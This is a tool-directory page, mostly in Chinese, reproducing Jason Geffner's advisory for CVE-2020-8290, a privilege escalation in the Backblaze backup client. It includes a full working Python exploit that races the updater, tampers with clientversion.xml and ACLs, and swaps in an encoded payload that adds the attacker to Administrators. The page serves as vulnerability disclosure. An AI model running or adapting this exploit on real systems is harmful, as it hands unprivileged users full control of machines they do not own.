Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevation of Privilege in Backblaze | Kitploit
工具/GitHubGitHub/geffner/cve-2020-8290
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevation of Privilege in Backblaze

查看仓库
5年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-8290 – Backblaze 中的权限提升

摘要

名称: Backblaze 中的权限提升
CVE: CVE-2020-8290
发现者: Jason Geffner
供应商: Backblaze
产品: Backblaze for Windows 和 Backblaze for macOS
风险: 高
发现日期: 2020-03-13
公开日期: 2020-09-09
修复版本: 7.0.0.439

简介

根据维基百科,Backblaze 是

“一种在线备份工具,允许 Windows 和 macOS 用户将数据备份到异地数据中心。该服务面向企业和最终用户,提供无限的存储空间并支持无限的文件大小。”

Backblaze for Windows 和 Backblaze for macOS 的易受攻击版本包含一个高风险漏洞,允许本地非特权攻击者执行权限提升 (EOP) 攻击,成为 SYSTEM/root。

漏洞详情

Backblaze 客户端的服务进程名为 bzserv,在 Windows 上以 SYSTEM 运行,在 macOS 上以 root 运行。每隔几个小时,bzserv 会运行一个名为 bztransmit 的程序(以 SYSTEM/root 身份执行),从 Backblaze 的数据中心下载一个名为 clientversion.xml 的 XML 文件,以检查是否有更新版本的 Backblaze 客户端可供下载。如果有,则从 Backblaze 的数据中心下载最新客户端版本的安装程序。下载的安装程序在 Windows 上保存到 %ProgramData%\Backblaze\bzdata\bzupdates 目录,在 macOS 上保存到 /Library/Backblaze.bzpkg/bzdata/bzupdates 或 /Library/Backblaze/bzdata/bzupdates 目录。下载完成后,bztransmit 会通过 ShellExecute() 以 SYSTEM 身份或通过 system() 以 root 身份运行下载的安装程序。

在 Windows 上,%ProgramData%\Backblaze\bzdata 目录在安装时创建,本地非特权用户拥有读写权限。bztransmit 进程在运行期间以 SYSTEM 身份创建 bzupdates 子目录,一旦创建,非特权用户对此子目录没有读写权限。然而,bztransmit 进程在 bzupdates 目录已存在时,不会安全地验证其 ACL,也不会安全地更新 ACL。因此,本地非特权攻击者可以在 Backblaze 安装之前创建 %ProgramData%\Backblaze\bzdata\bzupdates 目录,或者在 Backblaze 安装后、bztransmit 创建 bzupdates 子目录之前创建该子目录。这使得攻击者成为 bzupdates 目录的所有者,并完全控制该目录中的文件。因此,攻击者可以在下载的更新可执行文件下载后但执行前修改或替换它,从而实现本地 EOP。

在 macOS 上,/Library/Backblaze.bzpkg/bzdata(或 /Library/Backblaze/bzdata)目录在安装时创建,具有权限 0777(drwxrwxrwx),本地非特权用户拥有读写访问权限。bztransmit 进程在运行期间以 root 身份创建 bzupdates 子目录,权限为 0755(drwxr-xr-x),一旦创建,非特权用户对此子目录没有读写权限。然而,bztransmit 进程在 bzupdates 目录已存在时,不会安全地验证其权限,也不会安全地更新权限。因此,本地非特权攻击者可以在 Backblaze 安装后、bztransmit 创建 bzupdates 子目录之前,在 /Library/Backblaze.bzpkg/bzdata(或 /Library/Backblaze/bzdata)下创建 子目录。这使得攻击者成为 目录的所有者,并完全控制该目录中的文件。因此,攻击者可以在下载的更新可执行文件下载后但执行前修改或替换它,从而实现本地 EOP。

概念验证

视频: https://youtu.be/OpC6neWd2aM

上述视频展示了同一台虚拟机上的两个并发登录会话:左侧是管理员会话,右侧是非特权攻击者会话。您可以在视频中看到以下步骤:

  1. Attacker 运行 net localgroup Administrators,显示非特权攻击者账户(名为 Attacker)不是 Administrators 组的成员。
  2. 攻击者运行 python eop.py(其源代码见下文)。
  3. 管理员随后安装 Backblaze。
  4. 六分钟后,已安装的 Backblaze 服务下载 clientversion.xml,该文件被漏洞利用代码覆盖。
  5. 一分钟后,已安装的 Backblaze 服务下载更新程序可执行文件,该文件被漏洞利用代码覆盖。
  6. Backblaze 服务随后运行被覆盖的更新程序,该程序将 Attacker 账户添加到 Administrators 组。
  7. 攻击者再次运行 net localgroup Administrators,显示 Attacker 账户确实已被添加到 Administrators 组。本地权限提升完成。
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

缓解措施

Backblaze 在版本 7.0.0.439 中修补了此漏洞。

发现者

该漏洞由 Jason Geffner 通过 HackerOne 发现并报告给 Backblaze。

时间线

2020-03-13 - 发现漏洞并通过 HackerOne 报告给 Backblaze
2020-03-26 - HackerOne 验证漏洞
2020-04-22 - 分配 CVE-2020-8152
2020-04-22 - 发布版本 7.0.0.439
2020-04-22 - 验证漏洞缓解措施
2020-04-23 - 请求公开披露
2020-09-09 - 公开披露
2020-12-22 - CVE 分配变更为 CVE-2020-8290

下载工具
bzupdates
bzupdates